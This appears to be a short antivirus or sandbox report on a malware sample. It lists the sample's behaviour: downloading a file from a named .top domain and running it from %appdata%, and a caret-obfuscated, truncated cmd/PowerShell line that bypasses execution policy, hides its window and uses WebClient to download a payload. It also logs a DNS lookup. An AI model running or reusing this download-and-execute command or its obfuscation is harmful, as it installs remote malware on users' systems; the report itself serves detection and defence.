Technical Information
Malicious functions
Downloads and executes
- http://newfoodas.top/read.php?f=0.dat as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "poWeRS^hel^l.eX^e -e^x^eCuTi^on^p^OLICy b^YPAS^S ^-^N^op^R^OfiLe -wInDoWs^tyLE^ Hi^DdE^N^ (New-oB^Jec^T ^s^YsTE^M.Net.w^Ebc^L^I^ENt).^do^W^nl^oA^DFI^l^e('http://newfoodas....
Network activity
UDP
- DNS ASK ne###odas.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "poWeRS^hel^l.eX^e -e^x^eCuTi^on^p^OLICy b^YPAS^S ^-^N^op^R^OfiLe -wInDoWs^tyLE^ Hi^DdE^N^ (New-oB^Jec^T ^s^YsTE^M.Net.w^Ebc^L^I^ENt).^do^W^nl^oA^DFI^l^e('http://newfoodas....' (with hidden window)
